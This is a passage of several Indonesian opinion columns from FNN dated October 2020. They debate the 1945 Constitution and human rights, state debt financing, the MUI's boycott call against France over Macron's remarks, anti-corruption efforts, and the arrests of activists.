pemerintahan negara. Pandangan inilah yang dijawab oleh Profesor Soepomo, Ketua Tim Kecil penyusun UUD 1945. Kata profesor dalam menjawab pandangan Bung Hatta, “...akan tetapi kita harus percaya kepada kebijaksanaan dari kepala negara dan juga kepada pembantu-pembantunya, yang bukan pembantu biasa, akan tetapi tentu juga orang-orang yang sangat terkemuka, ahli negara yang bukan saja memperingati public opini, perasaan-perasaan umum dalam Dewan Perwakilan Rakyat, akan tetapi mengerti perasaan umum di dalam negara mereka umumnya”. Pofesor Soepomo melanjutkan, s”udah tentu orang-orang menjadi Statsman, menjadi pegawai negara yang begitu tinggi harus mempunyai perasaan tanggung jawab, bukan saja kepada diri sendiri, akan tetapi kepada umum” (Lihat A.B. Kusuma, 2016). Apa yang dapat diambil sebagai esensi pernyataan kedua pembentuk UUD 1945 itu? Apa yang mau dikenali dari pernyataan menteri bertanggung jawab umum dan diri sendiri, dan tidak menjadi pegawai biasa saja? Pada bagian mana dalam seluruh aspek tanggung jawab dapat dipakai untuk membenarkan kata-kata kasar yang ditujukan padanya sebagai hal yang menghina? Bukan rasa bahasa, tetapi mustahil mengkualifikasi kata-kata kasar, siapapun diantara tiga orang itu, yang ditujukan langsung pada isi pernyataan menteri. Apalagi menjadikan itu sebagai sebab adanya penghinaan terhadap menteri. Pembaca FNN yang budiman, seluruh predicate crime pada kasus hipotetik di atas, mustahil diberi lebel pidana. Mustahil menemukan unsur deliknya. Tindakan yang dihipotetikan di atas semuanya sesuai hukum. Tidak ada ilmu hukum yang dapat dipakai menyatakan tindakan yang dibenarkan hukum dapat diberi predikat delik, tindak pidana. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Menepis Pendapat Amien Rais Soal Kembali ke UUD 1945 (Bagian-4)

by Mayjen TNI (Purn.) Prijanto “Wahai manusia! Sungguh Kami telah menciptakan kamu dari seorang laki-laki dan seorang perempuan, kemudian Kami jadikan kamu berbangsa-bangsa dan bersuku-suku agar kamu saling mengenal. Sungguh, yang paling mulia di antara kamu di sisi Allah ialah orang yang paling bertakwa. Sungguh Allah Maha Mengetahui, Mahateliti”. (Al Quran, Surah Al Hujuraat : 13) Jakarta FNN – Sabtu (31/10). ”Untuk membedakan dan mempermudah, maka hasil amandemen UUD 1945 dalam artikel ini kita sebut UUD 2002”. Amien Rais berpendapat, jika kembali ke UUD 1945, maka pasal Hak Asasi Manusia (HAM) dan sepuluh ayat yang melindungi HAM Indonesia menjadi hilang. Juga tidak ada pasal yang menjamin kelestarian NKRI. Padahal justru UUD 1945 pasca perubahan yang telah menjamin Pasal 1 ayat (1) tidak dapat diubah. Sesuatu yang mustahil dan tidak boleh terjadi. Benarkah pendapat ini? Sejarah mencatat, perdebatan penyusunan UUD 1945 tidak bisa lepas dari nilai-nilai agama, moral dan budaya bangsa Indonesia. Mencermati Piagam Jakarta, Islam tampak memberikan warna. Karena itu, nilai dalam artikel ini salah satunya dipilih Surah Al Hujuraat : 13. Firman Tuhan tersebut memberikan pemahaman bahwa manusia sebagai makhluk individu dan sosial. Manusia saling mengenal, saling menghormati agar bersatu. Pemahaman tersebut mendasari pandangan bangsa Indonesia terkait HAM. Artinya, negara melindungi segenap hak asasi warga negaranya. Termasuk di dalamnya hak-hak asasi individu. Strategic Assessment Hal ini dapat kita baca dalam alinea-1 Pembukaan UUD 1945. Narasi yang menunjukkan sikap bangsa Indonesia dalam menghargai hak HAM sebagai makhluk sosial. Bahwa kemerdekaan itu hak segala bangsa, oleh sebab itu penjajahan di atas dunia harus dihapuskan. Pokok-pokok pikiran Pembukaan ini mengalir ke pasal-pasal UUD 1945. Pasal 6 UUD 1945, “Presiden ialah orang Indonesia asli” menunjukkan bangsa Indonesia menjunjung tinggi hak asasinya orang Indonesia asli. Pribumi atau orang Indonesia asli, juga disebut boemiputra, adalah suku-suku bangsa pertama yang mendiami pulau-pulau di Nusantara. Mereka datang dari arah penjuru dunia, mana saja tidak masalah. Selama mereka datang pertama ketika Nusantara ini masih perawan, tiada penghuni, mereka itu orang Indonesia asli. Silakan baca : (https://www.teropongsenayan.com/83343- adakah-dan-siapakah-orang-orang-bangsa- indonesia-asli -itu). Apakah pribumi itu ada dan diakui? Ya, pribumi itu ada dan diakui. PBB mengakui adanya pribumi dengan hak-haknya. Penjajah Belanda juga mengakui dengan membagi status sosial : (1) European/Eropa (2) Vreemde Oosterlingen/Timur Asing (3) Inlander/ Pribumi. The founding fathers telah mempraktekkan HAM bangsa Indonesia dengan menetapkan “Presiden ialah orang Indonesia asli”. Hal ini sejalan dengan penelitian Dr. La Ode, bahwa hakikatnya (1) Pribumi pendiri negara (2) Pribumi pemilik negara (3) Pribumi penguasa negara. (M.D. La Ode, 2018, Trilogi Pribumisme, Resolusi Konflik Pribumi Dengan Non Pribumi di Berbagai Belahan Dunia). Ketika sidang BPUPKI mencari dasar negara, diawali pemikiran Muh. Yamin (29/5/1945), Ki Bagoes Hadikoesoemo dan Mr Soepomo (31/5/1945), terakhir Ir. Soekarno (1/6/1945), belum ada satupun yang ditetapkan sebagai dasar negara. Semua pemikiran dijadikan bahan oleh Panitia Sembilan. Awalnya Panitia Sembilan menyelesaikan konsep Pembukaan Undang-undang Dasar, dengan apa yang kita kenal sebagai Piagam Jakarta. Sebelum sidang Panitia Persiapan Kemerdekaan Indonesia (PPKI), 18/8/1945 untuk pengesahan Undang-Undang Dasar, Piagam Jakarta sudah mengalami perubahan. Beberapa perubahan antara lain. Pertama, “Ketuhanan, dengan kewajiban menjalankan syariat Islam bagi pemeluk-pemeluknya” berubah menjadi “Ketuhanan Yang Maha Esa”. Kedua, “Presiden orang Indonesia asli yang beragama Islam” berubah menjadi “Presiden orang Indonesia asli”. Perubahan berjalan secara musyawarah dan penuh etika. Usul perubahan justru datang dari golongan agama Islam. Hal ini membuktikan, betapa penting dan mahalnya persatuan dan sikap toleransi dalam bernegara. Inilah wujud praktek menghargai hak asasi orang lain. Dengan tidak adanya pasal HAM di UUD 1945 sebagaimana di UUD 2002, apakah bisa menuduh bangsa Indonesia abai terhadap HAM? Jelas saja tidak. Walau tidak secara eksplisit, UUD 1945 sudah mewadahi HAM dalam perspektif manusia sebagai makhluk sosial yang di dalamnya ada HAM individu. Dalam hal ini, negara tidak memihak kepada golongan yang paling kuat atau besar saja. Tidak juga menganggap kepentingan seseorang sebagai paling penting. Namun, negara menjamin keselamatan, kemerdekaan dan kebutuhan hidup warga negaranya. Termasuk hak asasi orang yang ada di dalamnya. Soepomo menyebutnya sebagai teori integralistik ajaran Spinoza, Adam Muler dan lain-lain. Namun, jika ada pendapat itu bukan ajaran Spinoza, tidak masalah. Sebut saja itu pandangan bangsa Indonesia. Nilai itu ada di dalam Pancasila dan ditransformasikan ke pasal-pasal UUD 1945, demi persatuan dan keadilan sosial bagi seluruh rakyat Indonesia. Indah sekali. Kita memang tidak menganut teori individualistis dari Thomas Hobes dan John Locke, ataupun teori golongan ajaran Marx, Engels dan Lenin. Kita mengambil dari budaya yang tumbuh dalam masyarakat. Budaya yang lebih suka berpikir dan berbuat kebajikan untuk orang lain. Apakah para pengamandemen menyadari itu? Ya, mereka sadar, terbukti adanya Pasal 28J UUD 2002. Bahwasanya, setiap orang wajib menghormati hak asasi orang lain. Setiap orang wajib tunduk kepada pembatasan yang ditetapkan undang-undang. Sesungguhnya, Pasal 28A s/d Pasal 28J UUD 2002, ada di dalam “cakupan” Pasal 26 s/d Pasal 34 UUD 1945. Artinya, Pasal 26 s/d Pasal 34 UUD 1945, turunannya bisa dalam bentuk undang-undang. Dengan isi seperti pasal-pasal HAM dalam UUD 2002, atau bahkan lebih luas lagi. Apabila kita kembali ke UUD 1945, untuk disempurnakan dengan adendum, Pasal 1 ayat (1) menjamin lestarinya NKRI. Kita tidak akan temui DPD sebagai ciri negara federal. Kita tidak ketemu Pilpres langsung yang kita tengarai sebagai penyebab robeknya persatuan, dan telah cenderung membelah bangsa berdasarkan SARA. Juga merusak sendi kehidupan sosial budaya. Di sisi lain, kemerdekaan berserikat, berkumpul, mengeluarkan pikiran bagi warga negara, antara lain juga terwadahi dalam Utusan Golongan dan Utusan Daerah sebagai anggota MPR. Disinilah rakyat non Parpol memiliki hak mengajukan calon Presiden/Wapres serta menetapkan Undang-undang Dasar dan garis-garis besar daripada haluan negara (GBHN). Berbeda dengan di UUD 2002, hak rakyat non Parpol di atas tidak kita temui. Padahal ada pasal HAM. Dengan demikian, jika kembali ke UUD 1945 untuk kita sempurnakan tidak masalah. Karena persoalan HAM terwadahi dalam UUD 1945. Ada narasinya, ada juga praktek bernegaranya. Untuk lebih memahami HAM di UUD 1945 dikaitkan dengan pasal-pasal HAM dalam UUD 2002, kita bicarakan dalam artikel bagian-5. Semoga bisa dipahami dan bermanfaat demi bangsa dan negara. Insya Allah, Aamiin. Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Uang Siapa Yang Mau Diembat Untuk APBN?

by Salamuddin Daeng Jakarta FNN – Sabtu (31/10). Sepanjang tahun 2020 tambahan utang luar negeri pemerintah amat kecil. Kurang dari U$ 1 miliar saja. Informasi ini didapat dari data Bank IndonesiaSelain itu, data ini juga disampaikan sendiri oleh Menteri Keuanghan Sri Mulyani tentang utang luar negeri Indonesia dalam lomba konten Anggaran Pendapatann dan Belanja Negara (APBN). Lho, APBN Kok dilombakan? Pencitraan buat apa ini? Namun yang pasti utang yang bersumber dari Surat Utang Negarabertambah sekitar Rp. 600 triliun lebih. Angka tersebut sampai dengan akhir Agustus 2020. Ini adalah utang dalam negeri. Kebetulan saja belom ada sumber lain bisa diandalkan untuk dipakai mengisi kekosongan APBN tahun 2020 dan 2021 nanti. Pertanyaannya, ini utang dari duitnya siapa? Sebagian kita tau bahwa pemerintah meminjam dana Bank Indonesia. Pemerintah juga memaksa Bank Indonesia untuk membeli Surat Utang Negara di pasar perdana. Jumlahnya sengaja tidak diumumkan secara resmi, namun pemerintah memasang target pembiayaan atau utang lebih dari Rp. 1000 triliun lebih. Bank Indonesia apakah akan mengggunakan seuruh uang bank yang dipegangnya untuk membeli Surat Utang Negara di pasar perdana? Padahal uang yang dipegang Bank Indonesia merupakan dana masyarakat dalam cadangan wajib minimum (GWM) bank yang disimpan di Bank Indonesia. Apakah dana ini juga mau dialihkan ke APBN. Luar biasa kalau sampai Bank Indonesia berani melakukan kebijakan yang konyol itu. Membeli Surat Utang Negara di pasar perdana dengan menggunakan dana masyarakat yang disimpang di Bank Indonesia. Karena hal itu mengandung resiko sangat besar. Mengapa demikian? Mengingat yang mau dipakai untuk membeli Surat Utang Negara di pasar perdana tersebut adalah dana tabungan milik masyarakat di bank. Dana tersebut bisa dicairkan sewaktu waktu. Kapan saja kalau dibutuhkan. Apalagi dalam kondisi sepertri sekarang. Nah, bisa dibayangkan kalau masyarakat mencairkan dananya, namun tiba-tiba bank tidak punya dana karena sudah dipakai untuk membeli Surat Utang Negara di pasar perdana? Bisa saja terjadi masyarakat anti dan mengular berkepanjangan di teler dan ATM untuk melakukan penarikan besar-besaran. Inilah awal dan akhir malapetaka bagi Pak Jokowi dan pemerintahnya. Kalau begitu, darimana sumber lain dari utang dalam negeri pemerintah? Kuat dugaan bahwa dana masyarakat yang ada di PT Jamsostek, PT Taspen, PT asabri, Dana Haji, Dana Zakat, Infak dan Sadakah, dana perusahaan asuransi dalam negeri BUMN dan swasta semua “dipaksa” untuk dimasukin ke dalam APBN sebagai Surat Utang Negara. Selain sumber-sumber ini, tentu tidak ada lagi sumber dalam negeri yang bisa disedot masuk ke APBN. Tidak mungkin orang menjual tanah atau harta bendanya hanya untuk membeli Surat Utang Negara yang dijual pemerintah Jokowi . Belum pernah ada pengakuan masyarakat seperti itu. Sehingga ini boleh jadi, dana-dana yang sudah parkir di lembaga keuangan, baik bank maupun non bank bakal disedot besar-besaran ke dalam Surat Utang Negara. Dipastikan ini adalah langkah yang sangat berbahaya dari Menteri Keuangan. Memaksakan diri dengan pengeluaran yang besar, namun didapat dari utang kepada dana masyatakat. Selain itu, memaksakan diri juga untuk melalukan suntikan dana besar kepada perusahaan swasta milik konglomerat dan BUMN. Namun dengan menyedot tabungan dan simpanan masyarakat. Yang sasngat mengerikan sekali jika kebijakan ini mengkibatkan terjadi sedikit saja keguncangan dalam sekror keuangan. Semuanya bisa bablas dan hancur-hancuran. Sebab bisa amblas semuanya bersama dengan APBN. Ledakannya bisa melewati krisis 98. Mudah mudahan saja tidak terjadi. Kondisi ini makin diperparah lagi dengan sikap pemerintah telah mengabaikan sama sekali prinsip- prinsip pengeloaan anggaran yang transparan dan akuntable dalam era pandemi. Dengan kekuasaan penuh pada Presiden dan Menteri Keuangan sebagaimana yang diberikan oleh UU Nomor 2 Tahun 2020 sebagai pengesahan Perpu Darurat Nomor 1 Tahun 2020, maka pemgelolaan anggaran pemerintah sangat tertutup dan sesuka hati saja. Bahayanya jika terjadi masalah, maka tidak ada yang bisa mengingatkan pemerintah. Jika tidak ada alarm yang kuat dari Badan Pemeriksa keuangan, Otoritas Jasa Keuangan, Bank Indonesia, dan dari publik, maka krisisi bisa terjadi secara mendadak. Selain itu, anggaran negara dapat dikorupsi sesuka hati. Makanya waspadalah! Penulis adalah Peneliti Asosiasi Ekonomi dan Politik Indonesia (AEPI).

MUI Serukan Boikot Perancis!

by Tony Rosyid Jakarta FNN – Sabtu (31/10). Tidak saja negara Arab, Indonesia pun boikot produk Perancis. Kali ini, seruan itu datang dari Majlis Ulama Indonesia (MUI) Pusat. Seruan ini diikuti oleh sejumlah Organisiasi Kemasyarakatan (Ormas) Islam. Diantaranya adalah Ikatan Ulama Asia Tenggara dan Wahdah Islamiyah, ormas Islam yang diketuai KH. Zaitun Rasmin. Tidak saja boikot, MUI dan Ormas Islam meminta pemerintah mengambil sikap tegas. Pemerintah harus segera memulangkan Duta Besar Indonesia di Perancis. Wahdah Islamiyah lebih Tegas lagi, menuntut pemerintah mengusir Duta Besar Perancis dari Indonesia. Efektifkah seruan MUI tersebut? Bergantung! Pertama, akan sangat bergantung seberapa gencar MUI menyuarakan seruan itu. Jika setiap ulama di MUI terus menerus bicara ke media, membuat tulisan, meme dan semacamnya, maka seruan akan berdengung. Namun, jika MUI hanya membuat surat pernyataan, setelah itu diam, maka suara MUI hanya akan terdengar lirih dan sayup-sayup saja. Sekali ditiup isu lain, maka akan lenyap seketika. Soal sosialisasi, MUI memang sangat lemah. Mungkin karena MUI nggak punya relawan buzzer dan infulencer seperti FPI. Juga nggak punya buzzer dan infulencer komersial seperti istana. Kedua, bergantung pada kemampuan MUI melakukan konsolidasi dan mendorong ormas Islam, para tokoh, hingga pejabat negara untuk mendengungkan seruan boikotnya. Untuk ini, MUI perlu secara masif melakukan lobi dan konsolidasi keluar. Umumnya, para ulama di MUI sudah sangat sibuk dengan tugas dan kepentingan organisasinya masing-masing, sehingga konsolidasi keluar atas nama lembaga MUI seringkali lemah. Ketiga, akan jauh lebih berdengung seruan boikot itu jika MUI memimpin langsung "masirah qubra". Kerahkan demo besar-besaran dan mendesak presiden untuk mengambil sikap tegas. Mulai dari membuat pernyataan, memulangkan Duta Besar Indonesia untuk Perancis, lalu mengusir Duta Besar Perancis dari Indonesia, hingga boikot produk-produknya. Tetapi, apa MUI didengar presiden? Selama ini, audiensi MUI ke presiden seringkali tidak efektif. MUI tidak punya daya tawar. Bahkan cenderung diabaikan nasehatnya oleh istana. Baru-baru ini, audiensi MUI ke Istana terkait UU Omnibus Law Cipta Kerja (Cilaka) diabaikan istana. Masukannya ditolak. MUI keluar istana tanpa hasil apapun. Dalam kasus dukungan penghinaan kepada Nabi Muhammad Salallaahu Alaihi Wasallam oleh presiden Perancis Immanuel Marcon, MUI perlu mempertimbangkan "Masirah Qubra". Demo besar. Pertama, ini akan memberi energi dan dorongan yang kuat kepada pihak istana untuk mengambil sikap tegas. Sampaikan ke Istana, jangan takut jika mobil Esemka diboikot oleh Perancis. Kedua, demo yang besar-besaran akan menjadi sosialisasi yang efektif ke telinga masyarakat. Bahwa MUI menyerukan boikot terhadap produk-produk Perancis. Demo akan memastikan bahwa masyarakat mendengar seruan boikot dari MUI tersebut. Ketiga, ini akan memberi pesan kuat kepada masyarakat muslim di seluruh dunia, agar mereka ikut melakukan protes keras. Juga untuk mengkonsolidasikan massa secara besar-besaran dalam memboikot produk-produk Perancis. Jika fatwa MUI terhadap kasus penistaan agama yang dilakukan Ahok mampu menghadirkan tujuh juta massa umat Islam. Apalagi jika MUI dan seluruh ormas Islam turun langsung untuk memimpin demo serta melakukan konsolidasi massa. Hasilnya tentu saja lebih dahsyat lagi. Cukup setiap ormas Islam mengerahkan sejuta massa, maka akan berkumpul belasan hingga puluhan juta massa dari Monas sampai Bundaran HI hingga memadati Jl Soedirman-Thamrin Jakarta. Mungkin ini akan menjadi demo terbesar di sepanjang sejarah Indonesia, bahkan dunia. Jika demo ini dilakukan dan berhasil, maka pabrik milik Perancis di Indonesia bisa tutup, dan impor dari Perancis bisa berhenti. Ini baru akan memberi efek jera kepada Perancis. Sekaligus akan memaksa Immanuel Macron, presiden Perancis meminta maaf. Masalahnya, MUI berani dan punya nyali tidak? Kalau cuma seruan boikot lewat surat yang diviralkan by PDF di medsos, mungkin banyak yang malas buka. Dijamin nggak bakal efektif. Bukan percuma, tapi tidak akan pernah besar pengaruhnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Future Impossible Tense

by M. Rizal Fadillah Jakarta FNN – Jum’at (30/10). Sebuah meme atau karikatur bertema English Class di papan tulis tertulis "Tense". Artinya pelajaran tentang waktu. Si guru bertanya kepada muridnya "One day our country will be corruption free. Which tense is it?" Si murid lalu menjawab "Future impossible tense". Si guru lantas marah, he he hee. Nampaknya ini sedang cocok bagi kondisi Indonesia sekarang ini tentang pemberantasan korupsi. Suatu jawaban dari murid yang pas dengan kalimat "Future impossible tense". Sebab bangsa ini telah pesimis pada hilangnya korupsi. Jangankan hilang, untuk berkurang saja tidak yakin. Cara penegak hukum memberantas korupsi memang sangat tidak meyakinkan. Demikian juga dengan peraturan perundang-undangan yang semakin dikebiri. Revisi UU Komisi Pemberantasan Korupsi (KPK) telah berhasil memaksa lembaga KPK untuk dimandulkan. Operasi Tangkap Tanga (OTT) KPK tergantung pada Dewan Pengawas ber SK Presiden. Politik hukum pada era Pemerintahan Jokowi yang buruk seperti ini mesti dipertanggungjawabkan kelak. Tidak dianggap angin lalu. Jangan sampai dianggap sesuaitu yang biasa-biasa saja. Presiden Soekarno jatuh bukan oleh korupsi keuangan, tetapi Soekarno sangat doyan dan menikmati betul korupsi kekuasaan politik atau ideologi. Sementara Soeharto memang terkait korupsi keuangan yang membuatnya jatuh. Keberadaan KPK adalah solusi reformasi di bidang Pemerintahan. Efektif sekali keberadaan Komisi ini pada awalnya. Di masa Pemerintahan Jokowi KPK dilumpuhkan. Akibatnya buntut kasus-kasus Bantuan Likuiditas Bank Indonesia (BLBI) menjadi mengendap. Skandal Bank Century juga tenggelam. Jiwasraya hanya yang ecek-ecek saja. Pertamina selesai dengan sendirinya. Potensi korupsi dana Covid 19 sudah diamankan dengan Perppu Nomor 1/2020 yang telah disahkan menjadi UU Nomo 2/2020. Sama sekali tidak ada kemauan keras dari pemerintahan ini untuk memberantas korupsi. Rezim investasi Jokowi disindir Menteri Luar Negeri Amerika Serikat Mike Pompeo. Bahwa Amerika sangat siap untuk berinvestasi di Indonesia, tetapi bersihkan dulu dari budaya korupsi. Syarat berat bagi rezim yang sudah terbiasa kongkalikong dengan gaya usaha model Cina. Suap suap suap, mark up, dan komisi sana komisi sini. Percukongan adalah biang dari korupsi. Sayangnya hal seperti dianggap biasa-biasa saja. Hal yang lumrah saja. Pidato-pidato tentang pemberantasan korupsi hanya "lip service" belaka. Sadarkah akan prediksi bahwa nanti akhir dari masa jabatan pemerintahan adalah awal dan dimulainya bongkar-bongkar kasus mega korupsi ? Ketika kekuasaan di tangan, segala kejahatan bisa diredam dan disembunyikan. Tetapi ketika kekuasaan sudah tak ada, maka itulah masa penghukuman tiba. Sebagus dan serapi apapun bau busuk korupsi yang ditutupi dan disembunyikan oleh penguasa ini, tetap saja meninggalkan jejak. Sebab belajar dari pengalaman yang sudah-sudah para pejabat Bank Indonesia (BI) milsanya, baru diproses kasus korupsinya setelah kekuasaan berganti. Begitu selalu pengalaman yang harus dijadikan rujukan. Mulai terasa saat ini akan getaran kejengkelan rakyat Indonesia pada perilaku pemimpin culas, curang, picik, tamak dan khianat. Dilakukan oleh oligarki, korporasi, konglomerat, aparat, dan pejabat yang korup dan jahat. Meskipun demikian, saat ini kalimat untuk Indonesia bebas korupsi masih "Future Impossible tense". Penulis adalah Pemerhati Politik dan Kebangsaan.

Immanuel Macron vs Politisi Indonesia

by Tony Rosyid Jakarta FNN – Jum’at (30/10). Pernyataan presiden Perancis Immanuel Macron menggegerkan dunia. Tidak saja membuat marah orang Islam, orang Kristen, dan bahkan sejumlah umat beragama marah. Penggiat demokrasi juga marah. Immanuel Macron bilang bahwa Islam dan umat Islam sedang terjadi krisis dimana-mana. Presiden Perancis ini memberi ruang bagi munculnya karikatur yang menghina Nabi Muhammad sebagai bagian dari kebebasan berekspresi. Publik bertanya, bagaimana "jika" ada yang membuat karikatur Immanuel Macron dan istrinya bertelanjang bulat dan melakukan hubungan intim di atas panggung dengan latar belakang gambar anak-anaknya dan rakyat yang sedang bertepuk tangan berada di kursi penonton? Apakah ini bagian dari kebebasan berekspresi? Kan ngawur! Dipastikan, umat Islam tak akan membalasnya dengan cara-cara seperti itu. Sangat rendahan, tak berkelas dan melanggar tidak saja "aturan syar'i" tetapi juga menyalahi tata krama sosial dan kemanusiaan. Kita pun juga akan mengutuknya jika itu terjadi. Bukan membela Immanuel Macron. Tetapi membela kewarasan moral dan rasionalitas yang sehat. Pernyataan Immanuel Macron menuai protes banyak pemimpin negara. Bahkan sejumlah negara Arab seperti Qatar, Kuwait, Uni Emirat Arab, dan lain-lain dengan cara memboikot produk dari Perancis. Di Indonesia, juga sedang ada penggalangan untuk melakukan hal sama. Pernyataan Macron tidak saja akan merusak hubungan Perancis dengan negara-negara berpenduduk mayoritas muslim. Tetapi juga berpotensi merusak hubungan antar umat beragama di seluruh dunia. Sebuah pernyataan yang tidak saja nggak pantas keluar dari seorang kepala negara. Tetapi itu juga pernyataan destruktif dan sangat berbahaya. Penyataan Immanuel Marcon ini menunjukkan bahwa dia memang seorang presiden yang belum begitu matang, dan sempit wawasan. Sebab ketika human right itu didefinisikan, maka ia terbatas. Semua yang didefinisikan itu terbatas. Hanya Tuhan yang tak terbatas. Di luar itu, semua terbatas. Apa batasnya? Hak asasi itu tak boleh mengambil, mengganggu dan merusak hak orang lain. Kalau mengambil, mengganggu dan merusak hak orang lain, itu bukan hak asasi, tetapi kejahatan. Setiap kejahatan itu destruktif. Merusak tatanan dan hubungan sosial. Menciptakan disharmoni, bisa menjadi ancaman keamanan dan kenyamanan sosial, bahkan global. Setiap kejahatan itu berpotensi melahirkan kejahatan yang lain. Bahkan bisa lebih dahsyat lagi ketika direspon dengan cara-cara yang negatif. Tidakkah perang itu seringkali terjadi karena adanya aksi kejahatan yang direspon dengan reaksi kejahatan? Immanuel Macron nggak cerdas. Bahwa statemennya itu tak hanya bahaya untuk keamanan dunia. Tetapi juga menjadi bumerang buat negaranya sendiri. Anda bisa bayangkan, kalau semua negara berpenduduk muslim melakukan boikot terhadap produk Perancis? Negara itu bisa saja collaps. Dan itu layak dan sah dilakukan sebagai hukuman terhadap negara yang memprovokasi konflik. Tapi, Abu Janda nggak mau boikot? Ah, anda jangan menurunkan kelas pendidikan dan sosial anda dengan memperhatikan "orang-orang" yang hidupnya sibuk cari perhatian. Lalu bagaimana dengan pemerintah Indonesia yang notabene berpenduduk mayoritas umat Islam? Menlu RI Retno Marsudi telah panggil duta besar Perancis. Entah apa yang dibicarakan, publik masih meraba-raba. Tetapi, ini tak begitu taktis dan efektif. Jauh lebih efektif jika presiden Jokowi ikut mengecam pernyataan Immanuel Macron. Tak harus sekeras Erdogan. Cukup bilang, "sangat menyayangkan apa yang diucapkan Immanuel Macron". Atau bisa juga menggunakan bahasa yang lebih lunak dan halus dari itu. Ini sudah lebih dari cukup. Yang penting, ada pernyataan sikap dari Jokowi. Ingat, Pak Jokowi adalah presiden mayoritas umat Islam terbesar di dunia. Layak jika bertindak atas nama rakyat yang dipimpinnya. Sebab, presiden itu bukan representasi diri, keluarga, partai dan kelompoknya. Presiden itu juga representasi rakyat yang dipimpinnya. Presiden mesti tak perlu berkeberatan menyuarakan kegelisahan rakyat Indonesia terkait pernyataan presiden Perancis itu. Kali ini, sikap AHY justru yang paling tepat dan berkelas. Atas nama demokrasi, ketua partai Demokrat ini mengecam pernyataan Immanuel Macron. Ini langkah AHY yang sangat cerdas. Aksi ini bisa membuka simpati rakyat, khususnya umat Islam kepada Demokrat. Rakyat berharap Pak Jokowi juga ikut membuat langkah cerdas, bahkan yang lebih cerdas lagi. Apa langkah cerdas dan lebih cerdas itu? Pak Jokowi pasti lebih taulah. Wong Pak Jokowi itu presiden ko. Kalau pernyataan tersebut keluar dari Partai Keadilan Sejahtera (PKS), itu biasa saja. PKS selalu terdepan terkait isu-isu keislaman dan kemanusiaan. Partai dakwah ini sepertinya memang mendedikasikan diri untuk dua isu tersebut. Isu ke-Islaman dan Kemanusiaan. Untuk kemanusiaan PKS membuktikannya di saat ada bencana nasional maupun global. Selalu hadir atas nama kemanusiaan. Kalau langkah ini konsisten, terus diperbesar, maka aksi PKS akan terus mendulang simpati publik. Hanya perlu sosialisasi lebih taktis dan efektif. PKS kurang soal ini. Demi "keikhlasankah? Kalau kecaman terhadap Immanuel Macron itu dilakukan oleh PDIP, ini baru sesuatu luar biasa. Sesuatu banget. Atas nama demokrasi, PDIP mengajak rakyat Indonesia boikot produk Perancis. Ini akan menjadi berita besar. Jadi hot news dan headline media. Apalagi kalau diikuti oleh PSI. Ngarep ni yeee… Tapi, apa mungkin? Ngayal aja ah! Bagaimana dengan PKB? Apakah akan mengikuti mazhabnya Abu Janda? Jangan bercanda! Colek Cak Imin. Lama kita gak ngobrol. Tulisan ini menjadi media kita untuk bersalingsapa. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Mendambakan DPD RI Punya Nyala dan Nyali

by Tamsil Linrung Jakarta FNN – Jum’at (30/10). Profesor Jimly Asshiddiqie yang diinternal DPD sering kita panggil dengan sebutan Senator Jimly, sudah bersuara lantang. Bahwa para aktivis tidak pantas ditahan. Apalagi diborgol untuk disiarkan disebarluaskan dan dipertontonkan ke publik. Seperti perlakuan terhadap Syahganda Nainggolan, Jumhur Hidayat, Anton Permana, Kingkin Anida dan beberapa aktivis lain. Mereka adalah cendekiawan, aktivis, pejuang HAM dan demokrasi serta pemimpin gerakan moral yang menjaga dan meluruskan kiblat bangsa. Mereka bukan penjahat. Bukan penghianat yang menggadaikan bangsa. Apa yang disuarakan aktivis-aktivis tersebut, bahkan merefleksikan kegelisahan rakyat yang terus mengartikulasikan aspirasi. Membanjiri jalanan. Dalam eskalasi panjang dan meluas. Aksi-aksi itu, bahkan masih terus berlangsung hingga hari ini. Maka festivalisasi penangkapan para aktivis banyak ditentang. Sejumlah rangkaian kebijakan yang mendahuluinya, UU Omnibus Law bahkan disoroti oleh media internasional seperti The Economist sebagai jalan mundur demokrasi menuju neo otoritarianisme. Itu adalah aib untuk negara demokrasi besar seperti Indonesia. Kritik lantang Senator Jimly, adalah representasi aspirasi masyarakat yang ril. Jangan biarkan Senator Jimly bersuara sendiri. Apa yang disampaikan, mewakili suara kita selaku anggota DPD RI. Mestinya juga diperjuangkan secara serius oleh mereka yang menyandang predikat sebagai wakil rakyat. Sangat tidak pantas jika keadaan demikian ini dibiarkan dan menjelma menjadi ketidakwarasan kolektif. Sebab barisan shaf yang terus menerus menyuarakan ketidaksetujuan atau penolakan terhadap banyaknya produk perundang-undangan yang tidak aspiratif semakin panjang. Sebelum terangkum dalam UU Omnibus Law, banyak UU yang telah mendapatkan penolakan dari masyarakat. Ada UU Minerba, RUU Haluan Ideologi Pancasila hingga RUU Pesantren. Dari 79 UU yang diintegrasikan dalam Omnibus Law, yang paling banyak mendapatkan penolakan adalah klaster Pendidikan dan Ketenagakerjaan. Bersyukurlah, para Guru Besar ikut bersuara lantang. Padahal, suaranya kerap kali diabaikan, atau sebatas mendapat respons basa-basi formalitas. Karena dianggap hanya suara kaum elite yang tak berakar kuat ke rakyat, dan akan segera berakhir bila telah diberi obat penenang. Namun Ternyata kali ini kekuasaan keliru. Karena mereka yang bersuara adalah yang punya rekam jejak yang berbeda. Punya kiprah pengabdian yang jelas. Mereka adalah puluhan, bahkan ratusan Guru Besar yang telah lama berkontribusi dalam menyelesaikan masalah-masalah bangsa. Seperti Profesor Jimly yang biasa juga dijuluki “Sang Pendekar Konstitusi”. Pernha menjadi Ketua Mahkamah Konstitusi RI yang pertama. Ada juga Guru Besar Ahli Hukum Tata Negara UGM, Profesor Zaenal Mochtar Ariifin yang mengusung ide Pembangkangan Sipil (civil disobidiece) sebagai ekspresi puncak kemarahan rakyat kepada kekuasaan. Suara ini tidak main main. Bobotnya tinggi. Para guru besar yang biasanya jarang-jarang sejalan dengan mahasiswa, kali ini besikap lain. Para Guru Besar dan mahasisanya punya sikap yang sama. Sehingga hanya kekuasaan yang telah tertutup nurani dan buta mata batinnya yang bisa dengan penuh keangkuhan untuk terus mempertahankan pendapat. Argumen yang bukan hanya tidak popular dan bertentangan dengan arus utama kepentingan rakyat. Tetapi juga telah jauh menyimpang dari menjalankan amanat rakyat. Maunya pemerintah tidak sejalan dengan maunya kebaynyakan rakyat. Namun pemerintah budeg dan tuli. Di tengah arus ketidakwarasan, para Senator yang terhormat harus tampil mendukung aspirasi rakyat. 